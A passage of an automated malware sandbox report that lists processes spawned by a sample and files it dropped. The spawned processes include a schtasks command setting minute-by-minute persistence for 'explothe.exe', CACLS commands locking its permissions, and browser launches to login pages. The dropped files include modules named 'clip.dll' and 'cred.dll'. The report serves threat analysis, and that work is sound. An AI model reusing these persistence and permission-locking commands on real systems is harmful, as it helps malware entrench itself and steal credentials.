string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00001536-00000C25-37359322]4e:T815,Spawned process "Vo8ml85.exe" (UID: 00000000-00002464) Spawned process "aM0RY76.exe" (UID: 00000000-00003844) Spawned process "kx3Tv79.exe" (UID: 00000000-00003636) Spawned process "FM0nA02.exe" (UID: 00000000-00003964) Spawned process "1BC12Pi1.exe" (UID: 00000000-00001536) Spawned process "2Aq2815.exe" (UID: 00000000-00000488) Spawned process "3Hh02Er.exe" (UID: 00000000-00003992) Spawned process "AppLaunch.exe" (UID: 00000000-00001652) Spawned process "4nL947Ei.exe" (UID: 00000000-00000808) Spawned process "AppLaunch.exe" (UID: 00000000-00001792) Spawned process "5VA7se4.exe" (UID: 00000000-00003116) Spawned process "explothe.exe" (UID: 00000000-00002164) Spawned process "6hE6Ue0.exe" (UID: 00000000-00000368) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\838A.tmp\\838B.tmp\\838C.bat %TEMP%\\IXP000.TMP\\6hE ..." (UID: 00000000-00002412), Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN explothe.exe /TR "%TEMP%\\fefffe8ce ..." (UID: 00000000-00002944) Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "explothe.exe" /P "%OSUSER%:N"&&CACLS "explothe. ..." (UID: 00000000-00003492), Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00003044), Spawned process "iexplore.exe" with commandline "https://www.facebook.com/login" (UID: 00000000-00000176), Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:N"" (UID: 00000000-00003500), Spawned process "iexplore.exe" with commandline "https://www.youtube.com/" (UID: 00000000-00001756), Spawned process "iexplore.exe" with commandline "SCODEF:176 CREDAT:275458 /prefetch:2" (UID: 00000000-00002356), Spawned process "explothe.exe" (UID: 00000000-00003436), Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00003780), Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:R" /E" (UID: 00000000-00002388), Spawned process "iexplore.exe" with commandline "SCODEF:1756 CREDAT:275457 /prefetch:2" (UID: 00000000-00002824)4f:T815,Spawned process "Vo8ml85.exe" (UID: 00000000-00002464) Spawned process "aM0RY76.exe" (UID: 00000000-00003844) Spawned process "kx3Tv79.exe" (UID: 00000000-00003636) Spawned process "FM0nA02.exe" (UID: 00000000-00003964) Spawned process "1BC12Pi1.exe" (UID: 00000000-00001536) Spawned process "2Aq2815.exe" (UID: 00000000-00000488) Spawned process "3Hh02Er.exe" (UID: 00000000-00003992) Spawned process "AppLaunch.exe" (UID: 00000000-00001652) Spawned process "4nL947Ei.exe" (UID: 00000000-00000808) Spawned process "AppLaunch.exe" (UID: 00000000-00001792) Spawned process "5VA7se4.exe" (UID: 00000000-00003116) Spawned process "explothe.exe" (UID: 00000000-00002164) Spawned process "6hE6Ue0.exe" (UID: 00000000-00000368) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\838A.tmp\\838B.tmp\\838C.bat %TEMP%\\IXP000.TMP\\6hE ..." (UID: 00000000-00002412), Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN explothe.exe /TR "%TEMP%\\fefffe8ce ..." (UID: 00000000-00002944) Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "explothe.exe" /P "%OSUSER%:N"&&CACLS "explothe. ..." (UID: 00000000-00003492), Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00003044), Spawned process "iexplore.exe" with commandline "https://www.facebook.com/login" (UID: 00000000-00000176), Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:N"" (UID: 00000000-00003500), Spawned process "iexplore.exe" with commandline "https://www.youtube.com/" (UID: 00000000-00001756), Spawned process "iexplore.exe" with commandline "SCODEF:176 CREDAT:275458 /prefetch:2" (UID: 00000000-00002356), Spawned process "explothe.exe" (UID: 00000000-00003436), Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00003780), Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:R" /E" (UID: 00000000-00002388), Spawned process "iexplore.exe" with commandline "SCODEF:1756 CREDAT:275457 /prefetch:2" (UID: 00000000-00002824)50:T699d,"Vo8ml85.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\Vo8ml85.exe]- [targetUID: 00000000-00002448] "4nL947Ei.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\4nL947Ei.exe]- [targetUID: 00000000-00003844] "aM0RY76.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\aM0RY76.exe]- [targetUID: 00000000-00003844] "3Hh02Er.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\3Hh02Er.exe]- [targetUID: 00000000-00003636] "urlref_httpswww.youtube.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "kx3Tv79.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\kx3Tv79.exe]- [targetUID: 00000000-00003636] "urlref_httpsaccounts.google.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "FM0nA02.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\FM0nA02.exe]- [targetUID: 00000000-00003636] "5VA7se4.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\5VA7se4.exe]- [targetUID: 00000000-00003116] "1BC12Pi1.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\1BC12Pi1.exe]- [targetUID: 00000000-00003964] "2Aq2815.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\2Aq2815.exe]- [targetUID: 00000000-00000488] "clip.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%APPDATA%\006700e5a2ab05\clip.dll]- [targetUID: 00000000-00002164] "6hE6Ue0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed"- Location: [%TEMP%\IXP000.TMP\6hE6Ue0.exe]- [targetUID: 00000000-00002448] "4aAhOWlwaXf_1_.svg" has type "SVG Scalable Vector Graphics image"- [targetUID: N/A] "cred.dll" has type "HTML document ASCII text"- Location: [%APPDATA%\006700e5a2ab05\cred.dll]- [targetUID: 00000000-00002164] "838C.bat" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\838A.tmp\838B.tmp\838C.bat]- [targetUID: 00000000-00000368] "urlblockindex_1_.bin" has type "data"- [targetUID: N/A] "MSJBT4N6.js" has type "ASCII text with very long lines"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\QQW0X29Y\MSJBT4N6.js]- [targetUID: 00000000-00001864] "identifier_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "RNFuSb7tdaZ_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "m__b__tp_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "3B63PLUY.htm" has type "HTML document UTF-8 Unicode text with very long lines with CRLF NEL line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\QQW0X29Y\3B63PLUY.htm]- [targetUID: 00000000-00000176] "Tar498C.tmp" has type "data"- [targetUID: N/A] "m_ltDFwf_Rusgnf_Ctsu_UPKV3d_bPkrc_W2YXuc_pxq3x_IZ1fbc_soHxf_kSPLL_qPfo0c_yRXbo_bTi8wc_ywOR5c_PHUIyb_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "login_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00001756] "dinosaur_1_.png" has type "PNG image data 1200 x 800 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "urlref_httpswww.facebook.comlogin" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "uwjyy7pmA-B_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "bisOS4dl-mS_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "1xoiPcaOOYU_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "LgvwffuKmeX_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "ju4lCUCaD5F_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "xEUODc7mbZF_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "m_byfTOb_lsjVmc_LEikZe_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "CheckConnection_1_.htm" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "GLMTwJKTA1g_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "imagestore.dat" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00001864] "zI56j6esQGz_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "4UabrENHsxJlGDuGo1OIlLU94YtzCwA_1_.woff" has type "Web Open Font Format TrueType length 26412 version 1.1"- [targetUID: N/A] "4UaGrENHsxJlGDuGo1OIlL3Owpg_1_.woff" has type "Web Open Font Format TrueType length 26180 version 1.1"- [targetUID: N/A] "SeW64FDUgJN_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "BQn1Lzzcmjv_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "fpMCwgcFvo4_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "KFOlCnqEu92Fr1MmEU9fBBc-_1_.woff" has type "Web Open Font Format TrueType length 20544 version 1.1"- [targetUID: N/A] "~DFA700EDCF228A8EC5.TMP" has type "data"- [targetUID: N/A] "KFOmCnqEu92Fr1Mu4mxM_1_.woff" has type "Web Open Font Format TrueType length 20344 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmEU9fBBc-_1_.woff" has type "Web Open Font Format TrueType length 20012 version 1.1"- [targetUID: N/A] "KFOkCnqEu92Fr1MmgVxIIzQ_1_.woff" has type "Web Open Font Format TrueType length 19936 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmSU5fBBc-_1_.woff" has type "Web Open Font Format TrueType length 19916 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmWUlfBBc-_1_.woff" has type "Web Open Font Format TrueType length 19888 version 1.1"- [targetUID: N/A] "m_RqjULd_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "en-US.4" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00003780] "_tJ17sGyxOX_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "~DF4D1D2FE4E9EB6875.TMP" has type "data"- [targetUID: N/A] "~DF95406A2168955ABA.TMP" has type "data"- Location: [%TEMP%\~DF95406A2168955ABA.TMP]- [targetUID: 00000000-00003780] "~DF68065D060AD7EE36.TMP" has type "data"- Location: [%TEMP%\~DF68065D060AD7EE36.TMP]- [targetUID: 00000000-00000176] "~DF6CD6020E92268795.TMP" has type "data"- Location: [%TEMP%\~DF6CD6020E92268795.TMP]- [targetUID: 00000000-00000176] "~DF2AC8CD1A9E6DD3B0.TMP" has type "data"- [targetUID: N/A] "~DFCFCBD71A0A2A8E5C.TMP" has type "data"- Location: [%TEMP%\~DFCFCBD71A0A2A8E5C.TMP]- [targetUID: 00000000-00000176] "~DF35DF34F74855E8C9.TMP" has type "data"- [targetUID: N/A] "Qw3hZQNGEDjaO2m6tqIqX5E-AVS5_rSejo46_PCTRspJ0OosolrBEJL3HMXfxQASluL2m_dANVawBpSF_1_.woff" has type "Web Open Font Format TrueType length 16064 version 1.1"- [targetUID: N/A] "lFK_RCKM9IT_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "_5DC656A9-6FB8-11EE-BCD8-0800275D4394_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "C9n9XTZa3H8_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "xqvNY4MTESs_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "30BCF8D79B1225AC4F40686E58D30D95" has type "data"- [targetUID: N/A] "_89E1992F-6FAD-11EE-BCD8-0800275D4394_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "rAl2Hl1fQTa_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "m_wg1P6b_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "739F2FF4259CDC6CBE7B90F1A95601EF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00002356] "firefox_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "yt_logo_rgb_light_1_.png" has type "PNG image data 1588 x 356 8-bit colormap non-interlaced"- [targetUID: N/A] "edgium_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "P8DLAFRlDfy_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "Y0L6f5sxdIV_1_.png" has type "PNG image data 283 x 315 8-bit colormap non-interlaced"- [targetUID: N/A] "MAz3ivwtIyN_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "jIUN0Hn2kpD_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "chrome_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "supported_browsers_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines with no line terminators"- [targetUID: N/A] "RecoveryStore._83D0AAD1-6FA8-11EE-BCD8-0800275D4394_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._D13A5CA8-6FAA-11EE-BCD8-0800275D4394_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._65B52949-6FA7-11EE-BCD8-0800275D4394_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "favicon_3_.ico" has type "MS Windows icon resource - 2 icons 16x16 32 bits/pixel 32x32 32 bits/pixel"- [targetUID: N/A] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4770 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00002356] "d4QqVJOdC1V_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "_404EE865-6FBE-11EE-BCD8-0800275D4394_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_43CD35D3-6FB3-11EE-BCD8-0800275D4394_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_5C9594FD-7006-11EE-BCD8-0800275D4394_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "favicon_1_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "hLRJ1GG_y0J_1_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "m_sOXFj_q0xTif_ZZ4WUe_1_.js" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "wYnUPpbC_DL_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "2W2z89vRC58_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "m_Wt6vjf_hhhU8_FCpbqb_WhJNk_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "QJ_ErdZuyUE_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "m_ZwDk9d_RMhBfe_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "wm4d5zAAo-a_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "opera_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "yUtEQ4ajXZI_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "EQ0cyse2DGv_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "m_w9hDv_VwDzFe_A7fCU_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00002824] "bpW4eEg-2_W_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "m_bm51tf_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "www.facebook_1_.xml" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "0AB67BD4882FB0E09822529CFEB33A58" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\0AB67BD4882FB0E09822529CFEB33A58]- [targetUID: 00000000-00000176] "favicon_1_.ico" has type "MS Windows icon resource - 1 icon 16x16 32 bits/pixel"- [targetUID: N/A] "AE583B12017CC3ACE1D659336529BFB3" has type "data"- [targetUID: 00000000-00003780] "4748633DC5731827D4B432DBAC7A3ECE" has type "data"- [targetUID: 00000000-00002824] "69C6F6EC64E114822DF688DC12CDD86C" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\69C6F6EC64E114822DF688DC12CDD86C]- [targetUID: 00000000-00001756] "0270780F846F08BEFE0DD8112D932FEF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\0270780F846F08BEFE0DD8112D932FEF]- [targetUID: 00000000-00002356] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00001864] "XloWhghIye1_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "7O04Eyj-1fg_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "6B2043001D270792DFFD725518EAFE2C" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\6B2043001D270792DFFD725518EAFE2C]- [targetUID: 00000000-00001756] "1QCAN3GL.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\1QCAN3GL.txt]- [targetUID: 00000000-00001864] "W0IR0HRN.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\W0IR0HRN.txt]- [targetUID: 00000000-00001756] "F2DDCD2B5F37625B82E81F4976CEE400_249A1AAD948A044308274CC39E5A79B2" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_249A1AAD948A044308274CC39E5A79B2]- [targetUID: 00000000-00001864] "F07644E38ED7C9F37D11EEC6D4335E02_2D1FA229671185E6CE5261A2A9B06982" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_2D1FA229671185E6CE5261A2A9B06982]- [targetUID: 00000000-00001864] "265C0DEB29181DD1891051371C5F863A_3177CE6CD1B3852A6EC841765B1A16FB" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_3177CE6CD1B3852A6EC841765B1A16FB]- [targetUID: 00000000-00001864] "E87CE99F124623F95572A696C80EFCAF_802691FEFBCBFDBC6638E7243774E081" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_802691FEFBCBFDBC6638E7243774E081]- [targetUID: 00000000-00001864] "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00000176] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00001864] "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB]- [targetUID: 00000000-00002356] "35DDEDF268117918D1D277A171D8DF7B_1B752DF6198E90035E1D998D92649365" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\35DDEDF268117918D1D277A171D8DF7B_1B752DF6198E90035E1D998D92649365]- [targetUID: 00000000-00002356] "O287_AcFyg4_1_.png" has type "PNG image data 20 x 20 8-bit colormap non-interlaced"- [targetUID: N/A] "G2UQOBJ0.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\G2UQOBJ0.txt]- [targetUID: 00000000-00000176] "dXk5exdOVhk_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "35DDEDF268117918D1D277A171D8DF7B_1B752DF6198E90035E1D998D92649365" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\35DDEDF268117918D1D277A171D8DF7B_1B752DF6198E90035E1D998D92649365]- [targetUID: 00000000-00002356] "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00000176] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00002824] "E87CE99F124623F95572A696C80EFCAF_802691FEFBCBFDBC6638E7243774E081" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_802691FEFBCBFDBC6638E7243774E081]- [targetUID: 00000000-00001864] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00001864] "EAF8AA29A62AB29E614331747385D816_F9E4DC0B9D5C777357D7DB8DEF51118A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\EAF8AA29A62AB29E614331747385D816_F9E4DC0B9D5C777357D7DB8DEF51118A]- [targetUID: 00000000-00001756] "F2DDCD2B5F37625B82E81F4976CEE400_249A1AAD948A044308274CC39E5A79B2" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_249A1AAD948A044308274CC39E5A79B2]- [targetUID: 00000000-00001864] "F07644E38ED7C9F37D11EEC6D4335E02_2D1FA229671185E6CE5261A2A9B06982" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_2D1FA229671185E6CE5261A2A9B06982]- [targetUID: 00000000-00001864] "265C0DEB29181DD1891051371C5F863A_3177CE6CD1B3852A6EC841765B1A16FB" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_3177CE6CD1B3852A6EC841765B1A16FB]- [targetUID: 00000000-00001864] "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB]- [targetUID: 00000000-00002356] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00001864] "J7HK41LY.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\J7HK41LY.txt]- [targetUID: 00000000-00002356] "ZO2YJWJZ.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\ZO2YJWJZ.txt]- [targetUID: 00000000-00001756] "css_3_.css" has type "ASCII text"- [targetUID: N/A] "031IOCLE.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\031IOCLE.txt]- [targetUID: 00000000-00001864] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00002356] "EAF8AA29A62AB29E614331747385D816_F9E4DC0B9D5C777357D7DB8DEF51118A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EAF8AA29A62AB29E614331747385D816_F9E4DC0B9D5C777357D7DB8DEF51118A]- [targetUID: 00000000-00001756] "css_2_.css" has type "ASCII text"- [targetUID: N/A] "L17ZPB1J.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\L17ZPB1J.txt]- [targetUID: 00000000-00002356] "YGRN037I.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\YGRN037I.txt]- [targetUID: 00000000-00002356] "E2ZULZOC.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\E2ZULZOC.txt]- [targetUID: 00000000-00002356] "77EC63BDA74BD0D0E0426DC8F8008506" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00001756] "0270780F846F08BEFE0DD8112D932FEF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\0270780F846F08BEFE0DD8112D932FEF]- [targetUID: 00000000-00002356] "FLPKYYO4.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\FLPKYYO4.txt]- [targetUID: 00000000-00000176] "V3DE5WWH.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\V3DE5WWH.txt]- [targetUID: 00000000-00002824] "6B2043001D270792DFFD725518EAFE2C" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\6B2043001D270792DFFD725518EAFE2C]- [targetUID: 00000000-00001756] "9D6B3FE9E6E4067193F477ABAD990106" has type "data"- [targetUID: 00000000-00000176] "8A7891822FCFF127E4EADADE9757112B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\8A7891822FCFF127E4EADADE9757112B]- [targetUID: 00000000-00000176] "0AB67BD4882FB0E09822529CFEB33A58" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\0AB67BD4882FB0E09822529CFEB33A58]- [targetUID: 00000000-00000176] "6DB145CFEEC544B1582FED1ADA3370DD" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\6DB145CFEEC544B1582FED1ADA3370DD]- [targetUID: 00000000-00001756] "69C6F6EC64E114822DF688DC12CDD86C" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\69C6F6EC64E114822DF688DC12CDD86C]- [targetUID: 00000000-00001756] "BEC6224B02D155A396218A2504F3EE0B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\BEC6224B02D155A396218A2504F3EE0B]- [targetUID: 00000000-00002356] "739F2FF4259CDC6CBE7B90F1A95601EF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00002356] "VTPE7UTS.txt" has type "ASCII text"- Location: 